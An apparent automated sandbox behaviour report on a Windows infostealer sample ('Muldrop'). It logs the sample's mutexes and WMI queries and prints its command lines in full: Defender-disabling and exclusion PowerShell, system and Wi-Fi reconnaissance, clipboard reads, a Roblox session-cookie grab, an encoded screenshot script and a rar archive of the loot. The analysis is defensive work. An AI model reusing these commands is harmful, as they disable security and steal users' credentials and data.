Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8236:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8584:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Mutant created: \Sessions\1\BaseNamedObjects\z
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8640:120:WilError_03

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI76002

Jump to behavior

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

ReversingLabs: Detection: 57%

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	String found in binary or memory: id-cmc-addExtensions
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	String found in binary or memory: set-addPolicy

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3733.tmp" "c:\Users\user\AppData\Local\Temp\c3m2uwl3\CSC33F8CF1FA9DB4434A25723BA384E2070.TMP"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
